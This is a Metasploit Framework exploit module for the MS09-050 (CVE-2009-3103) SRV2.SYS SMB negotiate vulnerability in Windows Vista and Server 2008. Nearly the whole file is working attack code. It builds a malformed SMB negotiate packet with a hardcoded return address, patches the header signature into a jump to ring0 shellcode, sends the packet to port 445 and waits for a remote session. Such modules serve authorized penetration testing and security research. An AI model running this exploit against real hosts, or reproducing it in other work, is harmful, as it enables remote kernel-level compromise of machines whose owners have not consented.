##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::KernelMode

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
			'Description'    => %q{
					This module exploits an out of bounds function table dereference in the SMB
				request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
				release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
				without SP1 does not seem affected by this flaw.
			},

			'Author'         => [ 'Laurent Gaffie <laurent.gaffie[at]gmail.com>', 'hdm', 'sf' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'MSB', 'MS09-050' ],
					[ 'CVE', '2009-3103' ],
					[ 'BID', '36299' ],
					[ 'OSVDB', '57799' ],
					[ 'URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html' ],
					[ 'URL', 'http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'           => 1024,
					'StackAdjustment' => -3500,
					'DisableNops'     => true,
					'EncoderType'     => Msf::Encoder::Type::Raw,
					'ExtendedOptions' =>
						{
							'Stager'  => 'stager_sysenter_hook',
						}
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Vista SP1/SP2 and Server 2008 (x86)',
						{
							'Platform'       => 'win',
							'Arch'           => [ ARCH_X86 ],
							'Ret'            => 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR :)
							'ReadAddress'    => 0xFFDF0D04, # A readable address from kernel space (no nulls in address).
							'ProcessIDHigh'  => 0x0217,     # srv2!SrvSnapShotScavengerTimer
							'MagicIndex'     => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Sep 07 2009'
		))

		register_options(
			[
				Opt::RPORT(445),
				OptInt.new( 'WAIT', [ true,  "The number of seconds to wait for the attack to complete.", 180 ] )
			], self.class)
	end

	# Not reliable enough for automation yet
	def autofilter
		false
	end

	def exploit
		print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." )
		connect

		# we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest
		# and srv2!SrvProcPartialCompleteCompoundedRequest
		dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ]

		data  = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
		data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's
		data += [ 0xFFFFFFFF ].pack("V")      # Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b)
		data += [ 0xFFFFFFFF ].pack("V")      # Used in srv2!SrvConsumeDataAndComplete2+0x34
		data += [ 0x42424242 ].pack("V") * 7  # Unused
		data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value :) (srv2!SrvConsumeDataAndComplete2+0x7E)
		data += [ 0x41414141 ].pack("V") * 6  # Unused
		data += [ target.ret ].pack("V")      # EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2
		data += payload.encoded               # Our ring0 -> ring3 shellcode

		# We gain code execution by returning into the SMB packet, begining with its header.
		# The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX"
		# This will cause an access violation if executed as we can never set EBX to a valid pointer.
		# To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42.
		# This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer.
		# We patch the Signature1 value to be a jump forward into our shellcode.
		packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
		packet['Payload']['SMB'].v['Command']       = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
		packet['Payload']['SMB'].v['Flags1']        = 0x18
		packet['Payload']['SMB'].v['Flags2']        = 0xC853
		packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
		packet['Payload']['SMB'].v['Signature1']    = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
		packet['Payload']['SMB'].v['Signature2']    = 0x00000000 # ...
		packet['Payload']['SMB'].v['MultiplexID']   = rand( 0x10000 )
		packet['Payload'].v['Payload']              = data

		packet = packet.to_s

		print_status( "Sending the exploit packet (#{packet.length} bytes)..." )
		sock.put( packet )


		wtime = datastore['WAIT'].to_i
		print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." )
		stime = Time.now.to_i


		poke_logins = %W{Guest Administrator}
		poke_logins.each do |login|
			begin
				sec = connect(false)
				sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1))
			rescue ::Exception => e
				sec.socket.close
			end
		end

		while( stime + wtime > Time.now.to_i )
			select(nil, nil, nil, 0.25)
			break if session_created?
		end

		handler
		disconnect
	end

end
